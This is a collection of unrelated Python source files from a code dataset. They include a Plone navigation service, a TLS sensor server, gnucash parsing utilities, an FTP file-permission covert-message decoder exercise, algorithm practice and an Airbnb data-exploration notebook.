[]):\n\t\t\"\"\"\n\t\t\tConstructor.\n\n\t\t\t@type op_type: Integer\n\t\t\t@param op_type: 0 for get_data, \n\t\t\t\t\t\t\t1 for put_data,\n\t\t\t\t\t\t\t2 for get_x\n\t\t\t@type node: Node\n\t\t\t@param node: the node upon which the request is made\n\t\t\t@type item: List\n\t\t\t@param item: the list to be put in the Node datastore;\n\t\t\t\tit will only be called by the Node who owns the datastore\n\t\t\t@type pivot: Integer\n\t\t\t@param pivot: the position from which to start working with \n\t\t\t\tthe datastore\n\t\t\"\"\"\n\t\tself.type = op_type\n\t\tself.node = node\n\t\tself.item = item\n\t\tself.pivot = pivot\n\n\n\tdef __str__(self):\n\t\t\"\"\" \n\t\t\tPrints the Request type \n\n\t\t\t@rtype: String\t\t\t\n\t\t\t@return: a string of the following format: \n\t\t\t[operation] [node] @ [pivot] \n\n\t\t\"\"\"\n\n\t\tif self.type == 0:\n\t\t\tt = \"get\"\n\t\t\ti = \"\"\n\t\telif self.type == 1:\n\t\t\tt = \"put\"\n\t\t\ti = \": {}\".format(self.item)\n\t\telif self.type == 2:\n\t\t\tt = \"done\"\n\t\t\ti = \"\"\n\t\telse:\n\t\t\treturn \"break\"\n\n\t\tret = \"{} th-{} @ {}{}\".format(t, self.node.node_id, self.pivot, i)\n\t\treturn ret","sub_path":"ASC_Tema01/tema/my_utils.py","file_name":"my_utils.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"541244773","text":"from Acquisition import aq_parent\nfrom ftw.solr.interfaces import ISolrSearch\nfrom ftw.solr.query import make_filters\nfrom opengever.base.browser.navigation import make_tree_by_url\nfrom opengever.base.interfaces import IOpengeverBaseLayer\nfrom opengever.base.solr import OGSolrDocument\nfrom opengever.repository.interfaces import IRepositoryFolder\nfrom opengever.repository.repositoryfolder import REPOSITORY_FOLDER_STATE_INACTIVE\nfrom opengever.repository.repositoryroot import IRepositoryRoot\nfrom plone.app.contentlisting.interfaces import IContentListingObject\nfrom plone.restapi.interfaces import IExpandableElement\nfrom plone.restapi.serializer.converters import json_compatible\nfrom plone.restapi.services import Service\nfrom Products.CMFPlone.interfaces.siteroot import IPloneSiteRoot\nfrom zExceptions import BadRequest\nfrom zope.component import adapter\nfrom zope.component import getUtility\nfrom zope.dottedname.resolve import resolve\nfrom zope.interface import implementer\nfrom zope.interface import Interface\n\n\n@implementer(IExpandableElement)\n@adapter(Interface, IOpengeverBaseLayer)\nclass Navigation(object):\n\n FIELDS = [\n 'UID',\n 'path',\n 'portal_type',\n 'review_state',\n 'Title',\n 'title_de',\n 'title_en',\n 'title_fr',\n 'Description',\n 'filename',\n 'has_sametype_children',\n 'is_subdossier',\n 'dossier_type',\n ]\n\n def __init__(self, context, request):\n self.context = context\n self.request = request\n self.solr = getUtility(ISolrSearch)\n\n def __call__(self, expand=False):\n root_interface = self.get_root_interface()\n content_interfaces = self.get_content_interfaces()\n\n if self.request.form.get('include_root'):\n content_interfaces.append(root_interface)\n\n result = {\n 'navigation': {\n '@id': '{}/@navigation'.format(self.context.absolute_url()),\n },\n }\n\n if not expand:\n return result\n\n root = self.find_root(root_interface, content_interfaces)\n solr_docs = self.query_solr(root, content_interfaces)\n\n nodes = map(self.solr_doc_to_node, solr_docs)\n result['navigation']['tree'] = make_tree_by_url(nodes)\n\n return result\n\n def find_root(self, root_interface, content_interfaces):\n context = self.context\n\n if root_interface not in content_interfaces:\n while (not root_interface.providedBy(context)\n and not IPloneSiteRoot.providedBy(context)):\n context = aq_parent(context)\n else:\n # This happens i.e. on lookup a dossier tree from a subdossier.\n #\n # The current context is the subdossier which is also\n # providing the root_interface. We have to get sure, that we return\n # the most upper object providing the given root_interface if\n # the root_interface is within `content_interfaces`\n current = context\n while (not IPloneSiteRoot.providedBy(current)):\n if root_interface.providedBy(current):\n context = current\n current = aq_parent(current)\n\n if root_interface.providedBy(context):\n root = context\n else:\n response = self.solr.search(\n filters=make_filters(\n object_provides=root_interface.__identifier__),\n sort='path asc',\n fl=[\"path\"],\n )\n roots = [OGSolrDocument(d) for d in response.docs]\n\n if roots:\n root = roots[0].getObject()\n else:\n raise BadRequest(\"No root found for interface: {}\".format(\n root_interface.__identifier__))\n return root\n\n def query_solr(self, root, content_interfaces):\n query = {\n 'object_provides': [i.__identifier__ for i in content_interfaces],\n 'path_parent': '/'.join(root.getPhysicalPath()),\n 'trashed': 'false',\n }\n\n review_states = self.request.form.get('review_state', [])\n if review_states:\n query['review_state'] = review_states\n\n filters = make_filters(**query)\n\n if self.request.form.get('include_context'):\n # Include context branch's UIDs in the query, by adding them as\n # a filter that is OR'ed with the main filters (which themselves\n # are AND'ed together). This is necessary because restrictions\n # from the main filters must not be applied to the context branch.\n context_uids = list(self.get_context_branch_uids(root))\n if context_uids:\n context_filter = make_filters(UID=context_uids)[0]\n main_filters = self._join_filters(make_filters(**query), 'AND')\n filters = self._join_filters([main_filters, context_filter], 'OR')\n\n resp = self.solr.search(\n filters=filters,\n sort='sortable_title asc',\n rows=10000,\n fl=self.FIELDS)\n\n return [OGSolrDocument(doc) for doc in resp.docs]\n\n def get_context_branch_uids(self, root):\n \"\"\"Return UIDs of the current context's chain up to the root.\n \"\"\"\n for item in self.context.aq_chain:\n item_uid = item.UID()\n if item_uid == root.UID():\n break\n yield item_uid\n\n def _lookup_iface_by_identifier(self, identifier):\n return resolve(identifier) if identifier else None\n\n def _join_filters(self, filters, op):\n op = ' %s ' % op\n return op.join(['(%s)' % flt for flt in filters])\n\n def get_root_interface(self):\n \"\"\"Lookups the root_interface provided within the request parameter.\n\n This interface is used as the navigation root identifier.\n \"\"\"\n interface = self.request.form.get('root_interface')\n try:\n return self._lookup_iface_by_identifier(\n interface) or IRepositoryRoot\n except ImportError:\n raise BadRequest(\"The provided `root_interface` could not be \"\n \"looked up: {}\".format(interface))\n\n def get_content_interfaces(self):\n \"\"\"Lookups the content_interfaces provided within the request parameter.\n\n The interfaces provided in `content_interfaces` are used as navigation\n items.\n \"\"\"\n interfaces = self.request.form.get('content_interfaces')\n if not interfaces:\n return [IRepositoryFolder]\n\n if not isinstance(interfaces, list):\n interfaces = [interfaces]\n\n content_interfaces = []\n for interface in interfaces:\n try:\n content_interfaces.append(\n self._lookup_iface_by_identifier(interface))\n except ImportError:\n raise BadRequest(\"The provided `content_interfaces` could not be \"\n \"looked up: {}\".format(interface))\n return content_interfaces\n\n def solr_doc_to_node(self, solr_doc):\n wrapper = IContentListingObject(solr_doc)\n context_url = self.context.absolute_url()\n\n node = {\n '@type': wrapper.portal_type,\n 'text': wrapper.Title(),\n 'description': wrapper.Description(),\n 'url': wrapper.getURL(),\n 'uid': wrapper.UID,\n 'active': wrapper.review_state() != REPOSITORY_FOLDER_STATE_INACTIVE,\n 'current': context_url == wrapper.getURL(),\n 'current_tree': context_url.startswith(wrapper.getURL()),\n 'is_leafnode': None,\n 'is_subdossier': wrapper.is_subdossier,\n 'review_state': wrapper.review_state(),\n 'dossier_type': wrapper.dossier_type,\n }\n if wrapper.portal_type == 'opengever.repository.repositoryfolder':\n node['is_leafnode'] = not wrapper.has_sametype_children\n return json_compatible(node)\n\n\nclass NavigationGet(Service):\n\n def reply(self):\n navigation = Navigation(self.context, self.request)\n return navigation(expand=True)['navigation']\n","sub_path":"opengever/api/navigation.py","file_name":"navigation.py","file_ext":"py","file_size_in_byte":8202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"134125473","text":"import socket\nimport ssl\nimport sys\n\nIP_ADDR = '192.168.43.65' #CHANGE IT\nPORT = 8090 #CHANGE IT\nCERTFILE = '192.168.43.65.cert.pem' #CHANGE IT\nKEYFILE = '192.168.43.65.key.pem' #CHANGE IT\nCACERT = 'dev_cert_ca.cert.pem' #CHANGE IT\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\ns.bind((IP_ADDR, PORT))\ns.listen(0)\n\nprint(\"Server started in {0}:{1}\".format(IP_ADDR, PORT))\n\nwhile True:\n print(\"Waiting for connections....\")\n client, addr = s.accept()\n print('Client connected: ', addr)\n \n secure_sock = ssl.wrap_socket(client, server_side=True, certfile=CERTFILE,\n cert_reqs=ssl.CERT_REQUIRED, keyfile=KEYFILE,\n ca_certs=CACERT, ssl_version=ssl.PROTOCOL_TLSv1_2)\n #print(repr(secure_sock))\n #print(\"Certificado cliente:\", secure_sock.getpeercert())\n #print(repr(secure_sock.getpeername()))\n #print(secure_sock.cipher())\n\n try:\n ssl.match_hostname(secure_sock.getpeercert(), 'client')\n #ssl.match_hostname(secure_sock.getpeercert(), 'client2')\n\n content = secure_sock.recv(1024)\n \n if len(content) == 0:\n break\n else:\n data_received = content.decode(\"utf-8\")\n print(\"Data received: \" + data_received)\n \n temperature = float(data_received)\n print(\"Temperature received: \" + str(temperature) + \"°\")\n response = ''\n if temperature >= 28:\n response = 'R'\n elif temperature <=17:\n response = 'B'\n else:\n response = 'G'\n \n print(\"Response \" + response)\n secure_sock.send(response.encode(\"utf-8\"))\n #print(response.encode(\"utf-8\").hex())\n except ssl.CertificateError:\n print(\"Common name not valid\")\n pass\n except ValueError:\n print(\"Anomaly detected\")\n response = 'A'\n secure_sock.send(response.encode(\"utf-8\"))\n pass\n \n print(\"Closing connection...\")\n secure_sock.close()\n print(\"\")\n","sub_path":"CPS/Raspberry/ServerTempTLS_IDS.py","file_name":"ServerTempTLS_IDS.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"366902020","text":"num = int(input('Informe o numero: '))\nresultado = num\ndicionario = {}\nfator = 2\nwhile not resultado == 1:\n quantidade = 0\n if resultado % fator == 0:\n quantidade += 1\n resultado /= fator\n if fator in dicionario.keys():\n dicionario[fator]+= 1\n else:\n dicionario.update({ fator:quantidade })\n else:\n fator += 1\nfor dados in dicionario:\n print('O fator %i apareceu %i veze(s).' %(dados, dicionario[dados]))\n","sub_path":"Masanori/Lista de Exercícios III Algoritmos 2013 (Avançado)/exercicio4.py","file_name":"exercicio4.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"548821273","text":"import cPickle\nimport gzip\nimport os.path\nimport sys\nfrom subprocess import PIPE, Popen\nfrom warnings import warn\n\nimport yaml\n\nfrom koert.gnucash.xmlformat import SaxHandler\n\n\ndef open_gcf_in_git_repo(repopath, filepath, cachepath=None, scheme=None):\n from git import Repo\n\n repo = Repo(repopath)\n commit = repo.head.commit\n mtime = commit.authored_date\n f = commit.tree[filepath].data_stream\n\n result = parse_gcf(f, mtime, cachepath=cachepath, scheme=scheme)\n\n f.read()\n\n return result\n\n\ndef open_pos_gzipped(filepath):\n f = None\n try:\n # Only after a byte is read, is the check whether filepath\n # points to a gzipped file performed.\n f = gzip.open(filepath)\n f.read(1)\n f.rewind()\n except IOError:\n # message should read: \"Not a gzipped file\"\n f = open(filepath)\n return f\n\n\ndef saxparse(f, handler):\n from xml.sax import parse as saxparse\n saxparse(f, handler)\n\n\ndef lxmlparse(f, handler):\n from lxml.etree import parse as lxmlparse\n from lxml.sax import saxify\n etree = lxmlparse(f)\n saxify(etree, handler)\n\n\ndef cache_path(filepath):\n return filepath + \".pickled\"\n\n\ndef get_commit_name():\n directory = os.path.dirname(__file__)\n p = Popen('git rev-parse HEAD',\n stdout=PIPE, shell=True, cwd=directory)\n outp, err = p.communicate()\n return outp\n\n\ndef load_cache(cachepath, mtime):\n if not os.path.exists(cachepath):\n return False\n # Do not use the cache if the gnucash file is newer\n if mtime >= os.path.getmtime(cachepath):\n return False\n with open(cachepath, \"r\") as f:\n current_commit_name = get_commit_name()\n try:\n cached_commit_name, gcf = cPickle.load(f)\n if cached_commit_name != current_commit_name:\n return False\n print(\"loaded cache %s\" % cachepath)\n return gcf\n except Exception as e:\n warn(\"Failed to load pickled cache of Gnucash file \"\n \"'%s': %s\" % (cachepath, repr(e)))\n return False\n\n\ndef update_cache(cachepath, gcf):\n if sys.getrecursionlimit() < 2000:\n sys.setrecursionlimit(2000)\n with open(cachepath, \"w\") as f:\n try:\n cPickle.dump((get_commit_name(), gcf), f)\n except RuntimeError as e:\n warn(\"\"\"Failed to dump a pickled version of the \\\ngnucash file \"%s\" due to the RuntimeError below. If this is a stack \\\noverflow, you might want to increase the maximum recursion depth by \\\nsys.setrecursionlimit.\"\"\")\n raise e\n\n\ndef parse_gcf(f, mtime, scheme=None, parse=saxparse, cachepath=None):\n if cachepath is not None:\n result = load_cache(cachepath, mtime)\n if result:\n return result\n handler = SaxHandler(scheme)\n parse(f, handler)\n result = handler.result\n result.mtime = mtime\n update_cache(cachepath, result)\n return result\n\n\ndef open_gcf(filepath, scheme=None, parse=saxparse, cachepath=None):\n if cachepath is None:\n cachepath = cache_path(filepath)\n with open(filepath) as f:\n return parse_gcf(f, os.path.getmtime(filepath),\n scheme=scheme, parse=parse, cachepath=cachepath)\n\n\ndef open_yaml(path):\n with open(path) as f:\n d = yaml.load(f)\n\n dirname = os.path.dirname(path)\n gcf_path = os.path.join(dirname, d['path'])\n cache_path = None\n if \"cache\" in d:\n cache_path = os.path.join(dirname, d['cache'])\n gcf = None\n if 'repo' in d:\n repo_path = os.path.join(dirname, d['repo'])\n gcf = open_gcf_in_git_repo(repo_path, d['path'], cachepath=cache_path)\n else:\n gcf = open_gcf(gcf_path, cachepath=cache_path)\n if 'meta' in d:\n gcf.meta = d['meta']\n\n return gcf\n","sub_path":"sm/gnucash/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":3788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"380884730","text":"'''\nDocumentation, License etc.\n\n@package projet_morpion\n'''\n\n# 1ère étape : Ecrire une fonction pour afficher le tableau de jeu. Configurer votre tableau comme une liste, où chaque index 1-9 correspond à un nombre sur un clavier, de sorte que vous obtenez un terrain de 3 par 3.\n\nfrom IPython.display import clear_output\n\ndef affiche_tableau(tableau):\n clear_output()\n print(\"Bienvenue dans le jeu du morpion : \\n\") \n print(' | |')\n print(' ' + tableau[7] + ' | ' + tableau[8] + ' | ' + tableau[9])\n print(' | |')\n print('-----------')\n print(' | |')\n print(' ' + tableau[4] + ' | ' + tableau[5] + ' | ' + tableau[6])\n print(' | |')\n print('-----------')\n print(' | |')\n print(' ' + tableau[1] + ' | ' + tableau[2] + ' | ' + tableau[3])\n print(' | |')\n\naffiche_tableau(['','X','X','X','O',' ','O','X','X','X'])\n\n# **2ème étape : Ecrire une fonction qui demande au joueur quelle marque «X» ou «O» il veut utiliser et lui assigner. Pensez à utiliser une boucle *while* pour demander une réponse au joueur jusqu'à obtenir une réponse correcte.** \n\ndef pion_joueur():\n \n marque = ''\n while not (marque == 'X' or marque == 'O'):\n marque = input('Joueur 1: Est-ce que vous voulez jouer X ou O ? ').upper()\n\n if marque == 'X':\n return ('X', 'O')\n else:\n return ('O', 'X') \n\n\n\n\n\nimport tkinter as Tk\nimport time\n\ndef affiche_canevas_tk() :\n N = 3 \n pas=600/N \n root = Tk.Tk() \n c = Tk.Canvas(root,height=600,width=600) \n listidrec=N*[[]] \n for i in range(N): \n listidrec[i]=N*[-1] \n for i in range(N): \n for j in range(N): \n listidrec[i][j] = c.create_rectangle(pas*i, pas*j, pas*(i+1), pas*(j+1), fill='#00FF00') \n \n c.pack()\n def test():\n for i in range(17,256):\n c.itemconfig(listidrec[1][1],fill='#0000'+hex(i)[2:])\n print(hex(i)[2:])\n time.sleep(0.05) \n root.update()\n \n \n b = Tk.Button(text = 'test', command= test)\n b.pack()\n root.mainloop()\n\n# affiche_canevas_tk()\n","sub_path":"projet_morpion.py","file_name":"projet_morpion.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"461396696","text":"# Copyright 2016 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"In-memory input source.\"\"\"\n\nimport itertools\n\nfrom google.cloud.dataflow import coders\nfrom google.cloud.dataflow.io import iobase\n\n\nclass InMemorySource(iobase.NativeSource):\n \"\"\"In-memory input source.\"\"\"\n\n def __init__(\n self, elements, coder=coders.Base64PickleCoder(), start_index=None,\n end_index=None):\n self.elements = elements\n self.coder = coder\n\n if start_index is None:\n self.start_index = 0\n else:\n self.start_index = start_index\n\n if end_index is None:\n self.end_index = len(elements)\n else:\n self.end_index = end_index\n\n def __eq__(self, other):\n return (self.elements == other.elements and\n self.coder == other.coder and\n self.start_index == other.start_index and\n self.end_index == other.end_index)\n\n def reader(self):\n return InMemoryReader(self)\n\n\nclass InMemoryReader(iobase.NativeSourceReader):\n \"\"\"A reader for in-memory source.\"\"\"\n\n def __init__(self, source):\n self.source = source\n\n # Index of the next item to be read by the InMemoryReader.\n # Starts at source.start_index.\n self.current_index = source.start_index\n\n def __enter__(self):\n return self\n\n def __exit__(self, exception_type, exception_value, traceback):\n pass\n\n def __iter__(self):\n for value in itertools.islice(self.source.elements,\n self.source.start_index,\n self.source.end_index):\n self.current_index += 1\n yield self.source.coder.decode(value)\n\n def get_progress(self):\n if (self.current_index >= self.source.end_index or\n self.source.start_index >= self.source.end_index):\n percent_complete = 1\n elif self.current_index == self.source.start_index:\n percent_complete = 0\n else:\n percent_complete = (\n float(self.current_index - self.source.start_index) / (\n self.source.end_index - self.source.start_index))\n\n return iobase.ReaderProgress(percent_complete=percent_complete)\n","sub_path":"google/cloud/dataflow/worker/inmemory.py","file_name":"inmemory.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"414588211","text":"# 求数组中超过一半的数\n\n# 思路:如果存在超过一半的数,则该数一定在排序之后的中位数,则我们只要判断中位数是否占有数组一半以上即可\n# 那么核心问题就转化成如何最快得到中位数,全部排序取中间?如果数据量过大的话,这种方法是不可行的\n# 该问题类似于求乱序大数组中的第k个元素,结合快排的元素定位+二分法 能够最大效率地找到某个位置的数,获取当我们可以移动数组的情况下(大数据情况下分机不能使用该思路)求最大或者最小的k个数 (无序)\n# 例如,要求第k个元素,先求出某个元素在有序数组的下标x,因此此时数组0-x之间都小于x的乱序元素,x-len(arr)是大于x的乱序元素集合,若该x小于k,则我们要求出的\n# 第k个元素一定在0-x之间,否则在x-len(arr)之间,我们利用二分法不断缩小这个范围,最终找到第k个元素。\n\n\nclass Solution:\n def helper(self, arr):\n def quickSort(start, end):\n guard = arr[start]\n temp = start\n while start < end:\n\n while start < end and arr[end] >= guard:\n end -= 1\n while start < end and arr[start] <= guard:\n start += 1\n\n if start < end:\n arr[end], arr[start] = arr[start], arr[end]\n\n arr[start], arr[temp] = arr[temp], arr[start]\n return start\n\n def handle(arr):\n\n mid = len(arr) >> 1\n start, end = 0, len(arr) - 1\n index = quickSort(0, end)\n while index != mid:\n if index < mid:\n start = index + 1\n if index > mid:\n end = index - 1\n\n index = quickSort(start, end)\n\n num = arr[index]\n\n return num if arr.count(num) > len(arr) >> 1 else -1\n\n return handle(arr)\n\n # 思路二:利用数组的特点 巧妙\n\n # 一个数超过一半,则说明该数出现的次数一定大于其他所有的数,则我们遍历,如果当前数和上一个数一样则次数加1,不一样则减1,如果次数为0,则将当前数保存下来,并且次数置一,\n # 则遍历到最后如果计数大于等于1,则说明有一个数大于其他所有数的之和。则返回该数。2,3,2,3,3,3,5\n\n def helper2(self, arr):\n count, temp = 0, -1\n for i in arr:\n if count == 0:\n temp = i\n count = 1\n elif temp != i:\n count -= 1\n else:\n count += 1\n\n return temp if count >= 1 else -1\n\n\ns = Solution()\nprint(s.helper([2, 3, 5, 2, 2, 2, 3, 3, 3, 3, 3]))\nprint(s.helper2([2, 3]))\n","sub_path":"loop/29.py","file_name":"29.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"422134328","text":"import random\n\ndef rndstr(n):\n s = \"\"\n nletras = ord('z') - ord('a') + 1\n for i in range(n):\n s = s + chr(int(random.random()*1000) % nletras + ord('a'))\n return s\n\nprint(\"Lista original\")\nl=[]\nfor i in range(5):\n tupla = (i,rndstr(10))\n l.append(tupla)\n print(tupla)\n\nfp=open(\"lista.txt\",\"w\")\nfor item in l:\n fp.write(repr(item)+'\\n')\nfp.close()\n\nprint(\"\\nLista recuperada del fichero\")\nl_new=[]\nfp=open(\"lista.txt\",\"r\")\nfor line in fp:\n tupla = eval(line)\n l_new.append(tupla)\n print(tupla)\nfp.close()\n","sub_path":"1ºCurso/Fundamentos-de-la-programacion/1_Modulo random + Repaso Ficheros/Ejemplos ficheros/repr() y eval()/almacenamiento_lista.py","file_name":"almacenamiento_lista.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"135107518","text":"# Persians: Sydney Anderson, Tram Doan, Devon Knudsen, Zackary Phillips, Promyse Ward, James Wilson\r\n# GitHub Repo URL: https://github.com/devonknudsen/FTP-Covert\r\n# Written in Python 3.7\r\n\r\nfrom ftplib import FTP\r\n\r\nMETHOD = 10\r\nSERVER = 'jeangourd.com'\r\nUSERNAME = 'anonymous'\r\nPASSWORD = ''\r\n\r\n# appends the file permissions to a list\r\ndef retrieveFilePerms():\r\n if(METHOD == 7):\r\n ftp.cwd('7')\r\n if(METHOD == 10):\r\n ftp.cwd('10')\r\n\r\n filePerms = []\r\n ftp.retrlines('LIST', filePerms.append)\r\n filePerms = [filePerms[i][:10] for i in range(len(filePerms))]\r\n\r\n ftp.quit()\r\n \r\n return filePerms\r\n\r\n# removes the 'noise' from messages made of 7 right most bits\r\ndef removeNoise(pList):\r\n newList = []\r\n for pSet in pList:\r\n if(pSet[:3] == '---'):\r\n newList.append(pSet)\r\n\r\n return newList\r\n\r\n# converts each index of file permissions into binary\r\ndef permsToBinaryList(pList):\r\n if(METHOD == 7):\r\n for i in range(len(pList)):\r\n pList[i] = pList[i] [3:]\r\n\r\n if(METHOD == 10):\r\n pList = ''.join(pList)\r\n pList = [pList[i:i + 7] for i in range(0, len(pList), 7)]\r\n\r\n for i in range(len(pList)):\r\n currPerm = pList[i]\r\n currPerm = currPerm.replace('-', '0')\r\n currPerm = currPerm.replace('d', '1')\r\n currPerm = currPerm.replace('w', '1')\r\n currPerm = currPerm.replace('r', '1')\r\n currPerm = currPerm.replace('x', '1')\r\n pList[i] = currPerm\r\n\r\n return pList\r\n\r\n# decodes the binary into the plain text message\r\ndef binaryToText(pList):\r\n completeMessage = ''\r\n \r\n for i in range(len(pList)):\r\n asc = int(pList[i], 2)\r\n\r\n # if: there's a backspace\r\n if(asc == 8):\r\n completeMessage = completeMessage[:-1]\r\n else:\r\n newChar = chr(asc)\r\n completeMessage += newChar\r\n \r\n return completeMessage\r\n\r\n\r\n# MAIN\r\nftp = FTP(SERVER)\r\nftp.login(USERNAME, PASSWORD)\r\n\r\nif(METHOD == 7):\r\n fPs = retrieveFilePerms()\r\n refinedfPs = removeNoise(fPs)\r\n binaryList = permsToBinaryList(refinedfPs)\r\n print(binaryToText(binaryList))\r\n\r\nif(METHOD == 10):\r\n fPs = retrieveFilePerms()\r\n binaryList = permsToBinaryList(fPs)\r\n print(binaryToText(binaryList))\r\n","sub_path":"FTPFetch.py","file_name":"FTPFetch.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"317494085","text":"from django.conf.urls import url\n\nfrom . import views\n\napp_name = 'account'\nurlpatterns = [\n url(r'^$', views.show, name='show'),\n url(r'^save/$', views.save_list, name='save_list'),\n url(r'^import/$', views.import_page, name='import_page'),\n url(r'^import/submit$', views.import_csv, name='import_csv'),\n url(r'^export/$', views.export_csv, name='export_csv'),\n url(r'^customize/$', views.custom, name='customize'),\n url(r'^customize/(?P[0-9]+)/edit/$', views.edit, name='edit'),\n url(r'^customize/(?P[0-9]+)/edit/save$', views.edit_save, name='edit_save'),\n url(r'^customize/(?P[0-9]+)/remove/$', views.remove, name='remove'),\n url(r'^customize/(?P[0-9]+)/remove/confirm$', views.remove_confirm, name='remove_confirm'),\n] \n","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"434590240","text":"\n# coding: utf-8\n\n# In[1]:\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n# Draw inline\nget_ipython().magic(u'matplotlib inline')\n\n# Set figure aesthetics\nsns.set_style(\"white\", {'ytick.major.size': 10.0})\nsns.set_context(\"poster\", font_scale=1.1)\n\n\n# In[2]:\n\n# Load the data into DataFrames\ntrain_users = pd.read_csv('../input/train_users_2.csv')\ntest_users = pd.read_csv('../input/test_users.csv')\n\n\n# In[4]:\n\nprint(train_users.shape[0],test_users.shape[0])\n\n\n# In[6]:\n\n# Merge train and test users\nusers = pd.concat((train_users, test_users), axis=0, ignore_index=True)\n\n# Remove ID\nusers.drop('id',axis=1, inplace=True)\n\nusers.head(10)\n\n\n# In[6]:\n\nusers.gender.replace('-unknown-', np.nan, inplace=True)\n\n\n# In[15]:\n\nusers_nan = (users.isnull().sum() / users.shape[0]) * 100\nusers_nan[users_nan > 0].drop('country_destination')\n\n\n# In[18]:\n\n#check\nprint(int((train_users.date_first_booking.isnull().sum() / train_users.shape[0]) * 100))\n\n\n# In[19]:\n\nusers.age.describe()\n\n\n# In[20]:\n\nprint(sum(users.age > 100))\nprint(sum(users.age < 18))\n\n\n# In[21]:\n\nusers[users.age > 100]['age'].describe()\n\n\n# In[22]:\n\nusers[users.age < 18]['age'].describe()\n\n\n# In[23]:\n\nusers.loc[users.age > 95, 'age'] = np.nan\nusers.loc[users.age < 13, 'age'] = np.nan\n\n\n# In[24]:\n\ncategorical_features = [\n 'affiliate_channel',\n 'affiliate_provider',\n 'country_destination',\n 'first_affiliate_tracked',\n 'first_browser',\n 'first_device_type',\n 'gender',\n 'language',\n 'signup_app',\n 'signup_method'\n]\n\nfor categorical_feature in categorical_features:\n users[categorical_feature] = users[categorical_feature].astype('category')\n\n\n# In[25]:\n\nusers['date_account_created'] = pd.to_datetime(users['date_account_created'])\nusers['date_first_booking'] = pd.to_datetime(users['date_first_booking'])\nusers['date_first_active'] = pd.to_datetime((users.timestamp_first_active // 1000000), format='%Y%m%d')\n\n\n# In[26]:\n\nseries = pd.Series(users.gender.value_counts(dropna=False))\n\n\n# In[28]:\n\nseries.plot.pie(figsize=(5, 5))\n\n\n# In[37]:\n\nwomen = sum(users['gender'] == 'FEMALE')\nmen = sum(users['gender'] == 'MALE')\n\nfemale_destinations = users.loc[users['gender'] == 'FEMALE', 'country_destination'].value_counts() / women * 100\nmale_destinations = users.loc[users['gender'] == 'MALE', 'country_destination'].value_counts() / men * 100\n\n# Bar width\nwidth = 0.4\n\nmale_destinations.plot(kind='bar', width=width, color='#3CB371', position=0, label='Male', rot=0)\nfemale_destinations.plot(kind='bar', width=width, color='#6495ED', position=1, label='Female', rot=0)\n\nplt.legend()\nplt.xlabel('Destination Country')\nplt.ylabel('Percentage of the user')\n\nsns.despine()\nplt.show()\n\n\n# In[42]:\n\ndestination_percentage = users.country_destination.value_counts() / users.shape[0] * 100\ndestination_percentage.plot(kind='bar',color='#20B2AA', rot=0)\n# Using seaborn to plot\nsns.countplot(x=\"country_destination\", data=users, order=list(users.country_destination.value_counts().keys()))\nplt.xlabel('Destination Country')\nplt.ylabel('Percentage of the user')\n# sns.despine()\n\n\n# In[44]:\n\nsns.kdeplot(users.age.dropna(), color='#20B2AA', shade=True)\nplt.xlabel('Age')\nplt.ylabel('Distribution of age')\nsns.despine()\n\n\n# In[45]:\n\nage = 40\n\nyounger = sum(users.loc[users['age'] < age, 'country_destination'].value_counts())\nolder = sum(users.loc[users['age'] > age, 'country_destination'].value_counts())\n\nyounger_destinations = users.loc[users['age'] < age, 'country_destination'].value_counts() / younger * 100\nolder_destinations = users.loc[users['age'] > age, 'country_destination'].value_counts() / older * 100\n\nyounger_destinations.plot(kind='bar', width=width, color='#3CB371', position=0, label='Youngers', rot=0)\nolder_destinations.plot(kind='bar', width=width, color='#6495ED', position=1, label='Olders', rot=0)\n\nplt.legend()\nplt.xlabel('Destination Country')\nplt.ylabel('Percentage of the user')\n\nsns.despine()\nplt.show()\n\n\n# In[50]:\n\ndf=users.date_account_created.value_counts()\nplt.figure()\ndf.plot(colormap='winter')\nplt.xlabel('First create account')\n\n\n# In[51]:\n\ndf=users.date_first_active.value_counts()\nplt.figure()\ndf.plot(colormap='winter')\nplt.xlabel('Fisrt active account')\n\n","sub_path":"Visualization.py","file_name":"Visualization.py","file_ext":"py","file_size_in_byte":4231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
